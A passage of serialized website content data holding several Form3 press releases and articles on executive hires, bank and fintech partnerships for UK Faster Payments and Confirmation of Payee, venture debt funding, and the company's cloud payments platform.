Matt.”",[],"rich_text$0d217c1b-86bf-4480-9be0-8d16327cf680",{"variation":437,"version":438,"items":1847,"primary":1848,"id":1855,"slice_type":468,"slice_label":5},[],{"body":1849},[1850,1852],{"type":474,"text":475,"spans":1851},[],{"type":25,"text":1853,"spans":1854},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s and the US’s biggest tier one banks and global financial institutions to handle their critical payments architecture. Form3 has been awarded Tech of the Future for Banks & Financial Institutions 2023 by the Paytech Awards, Payments Tech of the Year 2023 at the UK Fintech Awards, Engineering Team of the Year 2023 at the Europe Fintech Awards, Payments Innovation of the Year 2022 by FSTech Awards, and was shortlisted as Diversity Champion of the Year 2022 run by British Diversity Awards.",[],"rich_text$34a48c90-4427-42b5-8e28-5341e6337752",{"id":1857,"uid":1858,"type":406,"data":1859},"alw4BBEAAC0AT7_Q","form3-expanded-leadership-team",{"title":1860,"excerpt":1861,"card_image":1862,"published_date":1868,"reading_time":5,"tag":1181,"dek":1869,"featured_image":1870,"about_form3":1871,"client_about_heading":5,"client_about_body":1872,"author_name":5,"author_title":5,"author_photo":1873,"author_bio":1874,"author_linkedin":1875,"slices":1876,"meta_title":1860,"meta_description":1861},"Form3 gears up for rapid growth with expansion of its Executive Leadership team","Form3, the leading payment technology provider has today announced the appointment of Giles Hawkins as Chief Legal Officer.\n\nGiles joins the Executive Leadership team and is responsible for providing legal counsel to the Board of Directors, CEO and other senior management on a range of company issues.",{"dimensions":1863,"alt":1864,"copyright":5,"url":1865,"id":1866,"edit":1867},{"width":412,"height":412},"Giles-Resource","\u002F_prismic-media\u002F147c15d6ad0a2611-7oyO1rCtyYRYUL-__Giles-Resource.png","7oyO1rCtyYRYUL-_",{"x":398,"y":398,"zoom":399,"background":400},"2021-05-07","Giles joins the Executive Leadership team and is responsible for providing legal counsel to the Board of Directors, CEO and other senior management on a range of company issues.\n\nPreviously, Giles was a partner in the technology team at law firm Ashfords where he was corporate counsel for Form3 for over five years. Before joining Ashfords, Giles was a member of the Technology Companies Group in the London office of Orrick. Giles has also worked at Heller Ehrmann, Accel, the venture capital fund and WilmerHale and he brings over 20 years’ experience of acting for fast growing, disruptive technology companies. \n\nForm3 has been growing at a rapid rate, exceeding 200 employees last month with intentions to double again over the next 12 months.",{},[],[],{},[],{"link_type":434},[1877,1885],{"variation":437,"version":438,"items":1878,"primary":1879,"id":1884,"slice_type":583,"slice_label":5},[],{"quote":1880,"attribution_name":5,"attribution_role":5},[1881],{"type":25,"text":1882,"spans":1883,"direction":445},"“This is an exciting time to be at Form3 as we rapidly scale up our business for growth. Giles is a proven senior legal leader with extensive experience across technology scale ups. I look forward working with him and his contribution to the Form3 journey of becoming the worlds most trusted payment technology provider.\"",[],"pull_quote$47b9a810-7511-4857-bf10-3ce3cd9bbf03",{"variation":437,"version":438,"items":1886,"primary":1887,"id":1894,"slice_type":583,"slice_label":5},[],{"quote":1888,"attribution_name":1892,"attribution_role":1893},[1889],{"type":25,"text":1890,"spans":1891,"direction":445},"“I am delighted to be joining Form3 at a time of significant growth and supporting the business in achieving its strategy to become a world class payment technology leader.”",[],"Giles Hawkins","Chief Legal & Risk Officer","pull_quote$9c5e92a4-371b-4ca7-ad14-5afc15df77ad",{"id":1896,"uid":1897,"type":406,"data":1898},"alw4GBEAACsAT8BG","form3-lhv-faster-payments-direct",{"title":1899,"excerpt":1900,"card_image":1901,"published_date":1904,"reading_time":643,"tag":419,"dek":1905,"featured_image":1906,"about_form3":1907,"client_about_heading":5,"client_about_body":1908,"author_name":5,"author_title":5,"author_photo":1909,"author_bio":1910,"author_linkedin":1911,"slices":1912,"meta_title":1899,"meta_description":1900},"LHV selects Form3 to become a Member of UK Faster Payments","Form3, the cloud technology provider of Payments-as-a-Service for banks and regulated fintechs, today announced that LHV Bank has selected Form3 to provide a fully managed service connecting the bank directly to the UK Faster Payments infrastructure. LHV will join the scheme as a Directly Connected Participant (Member) in 2019.",{"dimensions":1902,"alt":1702,"copyright":5,"url":1703,"id":1704,"edit":1903},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2018-10-17","LHV will join the scheme as a Directly Connected Participant (Member) in 2019. LHV is Estonia’s largest homegrown banking group, the second-largest pension provider in the Baltics and is recognised as one of Europe’s leading banks in the field of innovative technology and customer experience. The bank secured FCA approval to open a branch in London in March 2018 to expand its services to new clients and its existing UK customer base of over thirty financial institutions and fintechs, including Coinbase and TransferWise. Complementing its direct membership of the Euro Payments System and participation in the Euro Instant Payments System working group, LHV will now use Form3’s cloud-native payments service to connect to the UK Faster Payments scheme, enabling LHV’s customers to send and receive sterling payments in realtime. LHV is focusing on providing a direct link between the latest generation fintech services and the UK’s national banking infrastructure. For this, LHV has decided to open its own accounts at the Bank of England, ahead of becoming a Directly Connected Participant in the UK Faster Payments Scheme. This coveted status will allow LHV to compete with the established players and most disruptive challenger banks alike to deliver the very best user experience to its customers.",{},[],[],{},[],{"link_type":434},[1913,1921],{"variation":437,"version":438,"items":1914,"primary":1915,"id":1920,"slice_type":583,"slice_label":5},[],{"quote":1916,"attribution_name":921,"attribution_role":922},[1917],{"type":25,"text":1918,"spans":1919,"direction":445},"“In recent years, LHV has become a leading provider of banking services to the Fintech sector in Europe. We are delighted that Form3 is contributing to them achieving a similar position in the UK. Through our own innovative approach to delivering cloud-native payments technology as a managed service accessed through a single API, Form3 is helping LHV to eliminate much of the cost and complexity that has, until now, prevented such healthy competition”.",[],"pull_quote$748ba26e-8f8b-470a-9bc9-8e0826bacfc3",{"variation":437,"version":438,"items":1922,"primary":1923,"id":1928,"slice_type":468,"slice_label":5},[],{"body":1924},[1925],{"type":25,"text":1926,"spans":1927},"Andres Kitter, Head of LHV UK branch and member of LHV Bank management board, said: “Having celebrated the opening of our London Branch earlier this year, partnering with Form3 enables us to focus on what really matters - delivering the very best possible experience for our customers. Form3’s depth of expertise and approach to simplifying payments complements our own technology strategy, enabling us to deploy new products in the shortest possible time, with the least amount of business and technical risk.”",[],"rich_text$30109a46-ed7d-4c0a-8242-85544e213935",{"id":1930,"uid":1931,"type":406,"data":1932},"alw35hEAACwAT78r","form3-secures-eur23-million-funding-to-continue-exponential-growth-journey",{"title":1933,"excerpt":1934,"card_image":1935,"published_date":1938,"reading_time":506,"tag":231,"dek":1939,"featured_image":1940,"about_form3":1941,"client_about_heading":1945,"client_about_body":1946,"author_name":5,"author_title":5,"author_photo":1954,"author_bio":1955,"author_linkedin":1956,"slices":1957,"meta_title":1998,"meta_description":1999},"Form3 secures EUR23 million funding","Form3, the leading cloud-native payment technology provider, today announces it has secured a EUR23 million venture debt facility to continue its rapid global expansion and follows its $160 million Series C funding led by Goldman Sachs last year.",{"dimensions":1936,"alt":413,"copyright":5,"url":414,"id":415,"edit":1937},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-11-01","Venture debt facility will support potential acquisitions, new market activity and products",{},[1942],{"type":25,"text":1943,"spans":1944},"Form3 design, build and run the technology that powers the future of payments. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Best Cloud Payments Platform 2021 by Paytech and Fintech Finance, most influential fintech company in 2021 by The Financial Technologist and ranked in the Top European Fintechs to watch by Sifted 2020.",[],"About Atempo Growth",[1947],{"type":25,"text":1948,"spans":1949},"Atempo Growth was founded in 2021 and launched its first fund in January 2022. The founding team has significant experience in providing capital to over 100 high-growth technology companies across Europe. The team has worked closely together for several years and has experience spanning the last 20 years in the venture debt space. Atempo Growth is headquartered in London with a pan-European presence and approach.",[1950],{"start":398,"end":1951,"type":489,"data":1952},13,{"link_type":491,"url":1953,"target":493},"https:\u002F\u002Fwww.atempogrowth.com\u002F",{},[],{"link_type":434},[1958,1969,1988],{"variation":437,"version":438,"items":1959,"primary":1960,"id":1968,"slice_type":468,"slice_label":5},[],{"body":1961},[1962,1965],{"type":25,"text":1963,"spans":1964},"Form3, the leading cloud-native payment technology provider, today announces it has secured a EUR23 million venture debt facility to continue its rapid global expansion and follows its $160 million Series C funding led by Goldman Sachs last year. ",[],{"type":25,"text":1966,"spans":1967},"The venture debt funding provided by Atempo Growth, – which counts among its LPs the European Investment Bank, Santander, and the British Business Bank – will enable Form3 to explore acquisitions, launch into new markets and support new product growth.  ",[],"rich_text$332911b7-de33-4c3f-b0ad-b1ed5858da70",{"variation":437,"version":438,"items":1970,"primary":1971,"id":1987,"slice_type":468,"slice_label":5},[],{"body":1972},[1973,1979,1982],{"type":25,"text":1974,"spans":1975},"Michael Mueller, Form3’s CEO, commented: “The current environment is presenting us with new opportunities, both in terms of new markets and potential acquisitions. The Atempo facility will enable us to accelerate our growth and continue to offer market-leading cloud payments solutions to the world’s largest banks.”",[1976],{"start":1977,"end":1978,"type":765},41,316,{"type":25,"text":1980,"spans":1981},"Form3’s API-based cloud technology solutions are used by financial institutions such as Goldman Sachs, Lloyds Bank and Nationwide Building Society to deliver mission-critical payments. ",[],{"type":25,"text":1983,"spans":1984},"Luca Colciago, Atempo Growth’s Co-founder and Investor, said: “We're delighted to be supporting such a fast-growing and successful company such as Form3. This investment will further support Form3’s journey to provide best-in-class solutions for the world’s biggest financial institutions.”",[1985],{"start":1029,"end":1986,"type":765},290,"rich_text$3b305285-8b66-471e-81c4-c02d1df4470e",{"variation":437,"version":438,"items":1989,"primary":1990,"id":1997,"slice_type":583,"slice_label":5},[],{"quote":1991,"attribution_name":1995,"attribution_role":1996},[1992],{"type":25,"text":1993,"spans":1994},"We're delighted to be supporting such a fast-growing and successful company such as Form3",[],"Luca Colciago","Co-founder, Atempo Growth","pull_quote$72507aac-1fc6-47ac-a8e6-5764031afa3f","Form3 Secures EUR23 million Funding To Continue Exponential Growth Journey","Form3, the leading cloud-native payment technology provider, today announces it has secured a EUR23million venture debt facility to continue its rapid global expansion and follows its $160 million Series C funding led by Goldman Sachs last year.",{"id":2001,"uid":2002,"type":406,"data":2003},"alw30hEAACsAT77B","sumup-selects-form3-for-uk-payments-to-boost-growth",{"title":2004,"excerpt":2005,"card_image":2006,"published_date":2011,"reading_time":506,"tag":419,"dek":2012,"featured_image":2013,"about_form3":2014,"client_about_heading":5,"client_about_body":2015,"author_name":5,"author_title":5,"author_photo":2016,"author_bio":2017,"author_linkedin":2018,"slices":2019,"meta_title":2004,"meta_description":2005},"SumUp Selects Form3 for UK Payments to Boost Growth","SumUp, the financial partner for over 4 million businesses worldwide, has selected Form3, the cloud-native account-to-account payments platform, to provide direct access into the UK Faster Payments Scheme (FPS) and Bacs Scheme to further enhance its business account offering for UK customers.",{"dimensions":2007,"alt":382,"copyright":5,"url":2008,"id":2009,"edit":2010},{"width":412,"height":412},"\u002F_prismic-media\u002F13d39a736dea4819-lmsiFu_NTyDZ8rQy_form3-expands-strategic-partner.png","lmsiFu_NTyDZ8rQy",{"x":398,"y":398,"zoom":399,"background":400},"2023-07-06","SumUp will be one of only 40 direct members of FPS",{},[],[],{},[],{"link_type":434},[2020,2043,2059,2067],{"variation":437,"version":438,"items":2021,"primary":2022,"id":2042,"slice_type":468,"slice_label":5},[],{"body":2023},[2024,2027,2030,2033,2036,2039],{"type":746,"text":2025,"spans":2026},"Enhancing their business account offering for UK customers",[],{"type":25,"text":2028,"spans":2029},"SumUp, the financial partner for over 4 million businesses worldwide, has selected Form3, the cloud-native account-to-account payments platform, to provide direct access into the UK Faster Payments Scheme (FPS) and Bacs Scheme to further enhance its business account offering for UK customers. ",[],{"type":25,"text":2031,"spans":2032},"SumUp will connect to the Form3 platform via a single API where Form3 will manage the payment processing. In a unique model pioneered by Form3, Barclays will provide scheme settlement with the Bank of England on SumUp’s behalf. This will enable SumUp to build and create unique products for its UK small and medium business customers.  ",[],{"type":25,"text":2034,"spans":2035},"Michael Mueller, Form3 CEO, said: “SumUp is a major name in mobile point of sale and our core values very much align; a tech-first approach to payments with a primary goal of delighting customers. We are very pleased to support their expansion and aid their mission to support small and medium businesses which is the lifeblood of the UK economy. SumUp is yet another Faster Payments direct participant choosing to use Form3 technology, further strengthening our position as the leading cloud-native account-to-account payment platform for the world’s leading banks and fintech organisations.” ",[],{"type":25,"text":2037,"spans":2038},"Direct scheme participation will lead to many benefits for SumUp including more resilient and reliable payments, the ability to seamlessly scale and to reduce their total processing costs as they continue their rapid expansion. Form3’s fully managed service also future proofs SumUp against the potentially disruptive impact of mandatory scheme and regulatory changes such as the New Payments Architecture (NPA).",[],{"type":25,"text":2040,"spans":2041},"David Tatarishvilli, Head of Business Operations Banking Tribe at SumUp, comments: “Having thoroughly assessed the UK market, Form3 was the standout candidate. We are delighted to partner with Form3 as our payments provider for UK Faster Payments. Form3’s established reputation in the market, proven operational resiliency and ability to scale with our growth plans made them our chosen partner. As a platform, Form3 can also help us break into new markets and create new payments offerings, so we are very excited about what the future holds.”",[],"rich_text$69e56a5c-d602-4f19-8766-e01baacc5f20",{"variation":437,"version":438,"items":2044,"primary":2045,"id":2057,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":2046,"caption":5},{"embed_url":2047,"type":2048,"version":2049,"title":2004,"author_name":413,"author_url":284,"provider_name":283,"provider_url":2050,"thumbnail_url":2051,"thumbnail_width":2052,"thumbnail_height":2053,"html":2054,"height":2055,"width":2056},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=A5PyPuCxCJQ","video","1.0","https:\u002F\u002Fwww.youtube.com\u002F","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FA5PyPuCxCJQ\u002Fhqdefault.jpg",480,360,"\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FA5PyPuCxCJQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"SumUp Selects Form3 for UK Payments to Boost Growth\">\u003C\u002Fiframe>",113,200,"embed$7ed83b10-8db0-4f82-aa87-be497f9ebd47","embed",{"variation":437,"version":438,"items":2060,"primary":2061,"id":2066,"slice_type":583,"slice_label":5},[],{"quote":2062,"attribution_name":921,"attribution_role":922},[2063],{"type":25,"text":2064,"spans":2065},"SumUp is yet another Faster Payments direct participant choosing to use Form3 technology, further strengthening our position as the leading cloud-native account-to-account payment platform for the world’s leading banks and fintech organisations.",[],"pull_quote$86c283c9-f14a-4a94-a4f3-a6199b34941f",{"variation":437,"version":438,"items":2068,"primary":2069,"id":2084,"slice_type":468,"slice_label":5},[],{"body":2070},[2071,2073,2075,2077],{"type":474,"text":475,"spans":2072},[],{"type":25,"text":802,"spans":2074},[],{"type":474,"text":517,"spans":2076},[],{"type":25,"text":2078,"spans":2079},"SumUp is a leading global financial technology company driven by the purpose of levelling the playing field for small businesses. Founded in 2012, SumUp is the financial partner for more than 4 million small merchants in over 35 markets worldwide, helping them start, run and grow their business. Through its Super App, SumUp provides merchants with a free business account and card, an online store, and an invoicing solution – as well as in-person and remote payments seamlessly integrated with SumUp’s card terminals and point-of-sale registers. SumUp is committed to leveraging its success to make the world a better place and has pledged to donate 1% of its revenue to support environmental, educational and entrepreneurial causes. In 2022 SumUp was recognised as a Top Global Employer for the LGBTQ+ community by the Stonewall Workplace Equality Index. For more information, please visit sumup.co.uk.",[2080],{"start":2081,"end":2082,"type":489,"data":2083},894,905,{"link_type":491,"url":631,"target":493},"rich_text$c318270b-b6c0-45e7-a451-3f509b3528ee",{"id":2086,"uid":2087,"type":406,"data":2088},"alw3_BEAACgAT7-c","form3-hires-ex-swift-chief-executive-for-us-market",{"title":2089,"excerpt":2090,"card_image":2091,"published_date":2097,"reading_time":643,"tag":1181,"dek":5,"featured_image":2098,"about_form3":2099,"client_about_heading":5,"client_about_body":2100,"author_name":5,"author_title":5,"author_photo":2101,"author_bio":2102,"author_linkedin":2103,"slices":2104,"meta_title":2089,"meta_description":2090},"Form3 Hires Ex-SWIFT Chief Executive for US Market Expansion","Form3, the leading cloud-native payment technology provider, today announced that it has strengthened its Executive Management team to expand its geographical footprint and product offering in the US, to capture market opportunities in payment technology.",{"dimensions":2092,"alt":2093,"copyright":5,"url":2094,"id":2095,"edit":2096},{"width":412,"height":412},"Dave-Resource","\u002F_prismic-media\u002Fa7c6420ce8cdecc5--PKlHg1weyA_wiqV_Dave-Resource.png","-PKlHg1weyA_wiqV",{"x":398,"y":398,"zoom":399,"background":400},"2022-03-21",{},[],[],{},[],{"link_type":434},[2105],{"variation":437,"version":438,"items":2106,"primary":2107,"id":2133,"slice_type":468,"slice_label":5},[],{"body":2108},[2109,2112,2115,2122,2130],{"type":988,"text":2110,"spans":2111,"direction":445},"Form3 today announced that it has strengthened its Executive Management team to expand its geographical footprint and product offering in the US and capture market opportunities in payment technology",[],{"type":25,"text":2113,"spans":2114,"direction":445},"Dave Scola joins as Chief Executive for the US to lead the company's expansion into the US market as Form3 builds out its product capability to include Real-Time Payments and Automated Clearing House connectivity with both the Federal Reserve and The Clearing House.\n\nDave has over 20 years' experience in transaction banking and payments services and has extensive experience leading large, multifunctional teams in financial services. Dave joins from SWIFT, where he was Chief Executive of the Americas, UK and Ireland. Previously, Dave was Head of Financial Institutions for Barclays Corporate Bank based in London and New York and has also worked in transaction banking at Deutsche Bank and Bank of New York.",[],{"type":25,"text":2116,"spans":2117,"direction":445},"\"The US market is an enormous opportunity for Form3 and it was essential that we find the right leader to spearhead our growth there. For that reason, I am delighted to welcome Dave as our US Chief Executive. He is an experienced leader with deep knowledge of the payments landscape and the US market with a successful track record in transformation and innovation. His passion for driving large, multi-functional teams aligned against the needs of a broad set of financial institutions aligns with Form3's customer-first approach to transform payments technology, together with our customers and partners around the globe.\" - Michael Mueller",[2118,2120],{"start":398,"end":2119,"type":765},624,{"start":502,"end":2121,"type":593},642,{"type":25,"text":2123,"spans":2124,"direction":445},"\"I couldn't be more excited by the opportunity to lead Form3's expansion into the US. The combination of cutting-edge technology combined with deep payments expertise creates a powerful platform to help financial institutions address the growing need to modernize their payments platforms - particularly as they contemplate challenging market events like ISO 20022 conversion and the roll-out of FedNow. I'm very much looking forward to working with our customers and partners in enabling the future of payment technology.\" - Dave Scola",[2125,2127],{"start":398,"end":2126,"type":765},523,{"start":2128,"end":2129,"type":593},526,536,{"type":25,"text":2131,"spans":2132,"direction":445},"Form3 already employs over 340 people in 27 markets and expects to continue to grow in people terms by around 60% in next 12 months. As the single largest payment market in the world, the US is an essential part of that growth strategy.",[],"rich_text$ee9f83e2-155f-409e-8793-eac90d96ad1f",{"id":2135,"uid":2136,"type":406,"data":2137},"alw4DxEAACkAT8AR","payments-as-a-service-first-choice-for-financial-institutions",{"title":2138,"excerpt":2139,"card_image":2140,"published_date":2143,"reading_time":1633,"tag":231,"dek":2144,"featured_image":2145,"about_form3":2146,"client_about_heading":5,"client_about_body":2147,"author_name":5,"author_title":5,"author_photo":2148,"author_bio":2149,"author_linkedin":2150,"slices":2151,"meta_title":2188,"meta_description":2139},"Why Payments as a Service is the first choice for Financial Institutions","More and more Financial Institutions are choosing to outsource their mission critical payments infrastructure over building or licensing legacy technology.",{"dimensions":2141,"alt":413,"copyright":5,"url":414,"id":415,"edit":2142},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-11-19","The pace of change within the global payments technology space is still at full speed with no sign of slowing down. While traditional incumbents have until recently taken comfort in their size and decades of dominance, new digital-only challenger banks are ramping up and making a huge impact on the global financial landscape. The reason for this surge? The accessibility of digital banking services has captured the attention of savvy consumers that want a modern banking service that is a quick and convenient option. Similarly, as corporate clients adopt digital capabilities in their operations and business models, they too require convenient, instant access to and real-time movement of funds, without delays or costly charges.",{},[],[],{},[],{"link_type":434},[2152,2166,2174],{"variation":437,"version":438,"items":2153,"primary":2154,"id":2165,"slice_type":468,"slice_label":5},[],{"body":2155},[2156,2159,2162],{"type":988,"text":2157,"spans":2158,"direction":445},"What are the incumbents doing to keep up?",[],{"type":25,"text":2160,"spans":2161,"direction":445},"Banks are increasing their spend on technology, while balancing their digital strategy with new regulations, such as European PSD2 which is designed to increase competition. Much of these technology investments are directed towards expensive and complex hard-to-transform legacy infrastructure, which still ends up dictating the digital process flow. ",[],{"type":25,"text":2163,"spans":2164,"direction":445},"While some banks are attempting to bolt new solutions onto existing infrastructure others are moving legacy core systems to cloud hosting and layering on API’s in a bid to reduce costs. Unfortunately this doesn’t solve longer-term issues such as batch processing inefficiencies in the mid and back office and lengthy implementations for every system change and upgrade. These inefficiencies lead to a major competitive disadvantage. ",[],"rich_text$17a7639e-1d7c-4693-91b0-1d4a7ae5869b",{"variation":437,"version":438,"items":2167,"primary":2168,"id":2173,"slice_type":583,"slice_label":5},[],{"quote":2169,"attribution_name":1093,"attribution_role":1094},[2170],{"type":25,"text":2171,"spans":2172,"direction":445},"In the race to win and retain customers long term, incumbents need to address cultural change, legacy barriers and adopt the type of flexible architecture and working processes that can instantly add new capabilities as the financial landscape changes. ",[],"pull_quote$e66ce047-03e2-4312-a441-9b0a6e51dc44",{"variation":437,"version":438,"items":2175,"primary":2176,"id":2187,"slice_type":468,"slice_label":5},[],{"body":2177},[2178,2181,2184],{"type":25,"text":2179,"spans":2180},"In a drive to become operationally lean and agile in response to market demands, incumbents are now actively investing in cloud-native technology where there are no legacy constraints to deal with. Microservices architecture and a single code base enable scalability, operational efficiencies and speed to market, taking advantage of the latest technology innovations available. ",[],{"type":25,"text":2182,"spans":2183},"Rather than building from scratch, partnering up with a specialist cloud native Fintech can really help. Once seen as fringe disrupters, Fintechs are now becoming important strategic allies at the core of digital banking change. By their nature and design, Fintechs are nimble, can deploy quickly and at a low cost. The technologies, operational processes and organisational culture are all born out of operating cloud-native in a real-time, always on environment. ",[],{"type":25,"text":2185,"spans":2186},"A growing number of Financial Institutions are now choosing to outsource their mission critical payments infrastructure to specialist providers such as Form3. This removes the burden of regulation, variation across payment schemes, engineering, maintenance and updates. To build such an infrastructure is typically a multi-year, multi-million pound project which upon completion, will already be heading into legacy. Moving to a ‘Payments as a Service’ option frees up time and resources to truly transform the customer experience, stay relevant and gain competitive advantage.",[],"rich_text$fe6bca56-45b4-421d-9ab9-533d7e6dbe6b","Why Payments as-a Service is the first choice for Financial Institutions",{"id":2190,"uid":2191,"type":406,"data":2192},"alw3txEAACcAT745","currencycloud-partners-with-form3",{"title":2193,"excerpt":2194,"card_image":2195,"published_date":2201,"reading_time":418,"tag":419,"dek":2202,"featured_image":2203,"about_form3":2209,"client_about_heading":5,"client_about_body":2210,"author_name":5,"author_title":5,"author_photo":2211,"author_bio":2212,"author_linkedin":2213,"slices":2214,"meta_title":2193,"meta_description":2194},"Currencycloud Partners with Form3 to Boost Confirmation of Payee Fraud Detection Offering in the UK","Form3 announces that Currencycloud, a Visa solution focusing on simplifying business in a multi-currency world, has selected them to provide account verification technology to support Confirmation of Payee (CoP) activity, designed to reduce fraud in the UK.",{"dimensions":2196,"alt":2197,"copyright":5,"url":2198,"id":2199,"edit":2200},{"width":412,"height":412},"Currencycloud-Resource","\u002F_prismic-media\u002Ffc080192ba713ac9-1BbX_Dwjzp-jZdCq_Currencycloud-Resource.png","1BbX_Dwjzp-jZdCq",{"x":398,"y":398,"zoom":399,"background":400},"2024-05-29","Form3’s Requester Service adds value and boosts customer fraud protection",{"dimensions":2204,"alt":2205,"copyright":5,"url":2206,"id":2207,"edit":2208},{"width":423,"height":424},"CurrencyCloud Logo","\u002F_prismic-media\u002F46e2d8110528a5f0-wX9vz_FoVao4h_WK_ZlWayqWtHYXtT1vY.png","wX9vz_FoVao4h_WK",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[2215,2252],{"variation":437,"version":438,"items":2216,"primary":2217,"id":2251,"slice_type":468,"slice_label":5},[],{"body":2218},[2219,2227,2230,2233,2239,2242,2245,2248],{"type":25,"text":2220,"spans":2221,"direction":445},"Form3, the cloud-native account-to-account platform, today announces that Currencycloud, a Visa solution focusing on simplifying business in a multi-currency world, has selected them to provide account verification technology to support Confirmation of Payee (CoP) activity, designed to reduce fraud in the UK. ",[2222],{"start":2223,"end":2224,"type":489,"data":2225},74,87,{"link_type":491,"url":2226,"target":493},"https:\u002F\u002Fwww.currencycloud.com\u002F",{"type":25,"text":2228,"spans":2229,"direction":445},"The Form3 Confirmation of Payee Requester Service enables Currencycloud’s customers to verify account holder and payee details to provide fast and secure account verification. ",[],{"type":25,"text":2231,"spans":2232,"direction":445},"In practice, Form3’s technology connects with Currencycloud’s customers via a simple API, to enable routing capabilities to drive its Payee Requester Services activity, reducing payment misdirection and increasing fraud detection. ",[],{"type":25,"text":2234,"spans":2235,"direction":445},"Today’s announcement follows Form3’s commercial partnership with Visa, announced in September 2023. Visa invested in Form3 to continue its expansion - and sought to bring the two companies’ capabilities together, to reduce fraud in real-time account-to-account payments. ",[2236],{"start":1658,"end":2237,"type":489,"data":2238},98,{"link_type":491,"url":849,"target":493},{"type":25,"text":2240,"spans":2241,"direction":445},"The CoP rules were launched by the Payment Systems Regulator to reduce certain types of accidentally misdirected payments, and authorised push payment (APP) fraud in bank transfers. This is done by checking that the name on the recipient’s account matches the details a payer has given to their bank.",[],{"type":25,"text":2243,"spans":2244,"direction":445},"Mike Walters, Form3’s CEO, said: “Today’s partnership with Currencycloud demonstrates the value-added services that we can offer customers for fraud protection, in addition to our core payment processing. Fraud will continue to be a big challenge in payments, so we have responded to this by developing cutting edge technologies to minimise fraudulent activity. This is our first engagement with Currencycloud and we look forward to working with them moving forward.”",[],{"type":25,"text":2246,"spans":2247,"direction":445},"Commenting on today’s partnership, Mark Ledsham, COO at Currencycloud, added: “Utilizing Form3’s best-in-class technology provides Currencycloud and our clients access to a robust and resilient fraud prevention solution. Our partnership with Form3 adds further value to our offering and allows us to be more competitive in the payments market.”",[],{"type":25,"text":2249,"spans":2250,"direction":445},"Form3’s Confirmation of Payee Requester Service will be rolled out to Currencycloud clients from the end of May. ",[],"rich_text$f67692bf-0b1d-405f-bed6-506a7dcb6261",{"variation":437,"version":438,"items":2253,"primary":2254,"id":2261,"slice_type":468,"slice_label":5},[],{"body":2255},[2256,2258],{"type":474,"text":475,"spans":2257,"direction":445},[],{"type":25,"text":2259,"spans":2260,"direction":445},"Form3 is the account-to-account payments platform. Founded In 2016, Form3 set out to revolutionize the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Providing not only gateway services its breadth and depth of solutions extends to fraud prevention, payments orchestration as well as data metrics. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year and Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Accel Euroscape 2023 Top 100 Company, Tech of the Future for Banks & Financial Institutions 2023 by the Paytech Awards, and Engineering Team of the Year 2023 at the Europe Fintech Awards.",[],"rich_text$1b2e3640-5af6-4e0d-8a1b-2f05458ab5d1",{"id":2263,"uid":2264,"type":406,"data":2265},"alw3qhEAACgAT732","form3s-unique-platform",{"title":2266,"excerpt":2267,"card_image":2268,"published_date":2271,"reading_time":418,"tag":231,"dek":2272,"featured_image":2273,"about_form3":2278,"client_about_heading":5,"client_about_body":2279,"author_name":5,"author_title":5,"author_photo":2280,"author_bio":2281,"author_linkedin":2282,"slices":2283,"meta_title":2266,"meta_description":2330},"Form3's Unique Platform Designed for High Availability, Supporting Continuous Processing Through Resilient, Active-Active Architecture","Form3 announced it is one of the few providers operating live, resilient payment processing platforms built to minimise customer-impacting downtime. Designed for high availability, supporting continuous processing through resilient, active-active architecture. The platform currently processes over 4 billion in annual transaction volume for tier one banks including Nationwide, Lloyds, and Barclays.",{"dimensions":2269,"alt":413,"copyright":5,"url":414,"id":415,"edit":2270},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2025-05-08","The European leader in real-time account-to-account payments now expanding in the US, which handles 4bn of transaction volume per year for leading banks including Nationwide, Lloyds and Barclays.",{"dimensions":2274,"alt":413,"copyright":5,"url":2275,"id":2276,"edit":2277},{"width":501,"height":646},"\u002F_prismic-media\u002F0b25eaf89222146d-R8nO0_BHCXWhdxOu_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","R8nO0_BHCXWhdxOu",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[2284,2297,2311,2319],{"variation":437,"version":438,"items":2285,"primary":2286,"id":2296,"slice_type":468,"slice_label":5},[],{"body":2287},[2288,2290,2293],{"type":25,"text":2267,"spans":2289,"direction":445},[],{"type":25,"text":2291,"spans":2292,"direction":445},"In a controlled resilience test simulating a 40-minute cloud outage, the platform continued processing without customer-visible interruption during the test. The platform’s ability to seamlessly switch between Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure ensures continuous availability and fault tolerance. This is critical in financial services, where even brief downtime can result in financial loss, regulatory exposure, and reputational damage.",[],{"type":25,"text":2294,"spans":2295,"direction":445},"In addition to its multi-cloud strategy, Form3’s single code base ensures consistent, secure, and efficient software delivery for all customers. This unified architecture allows for universal deployment of updates, patches, and new features without the delays and risks associated with fragmented 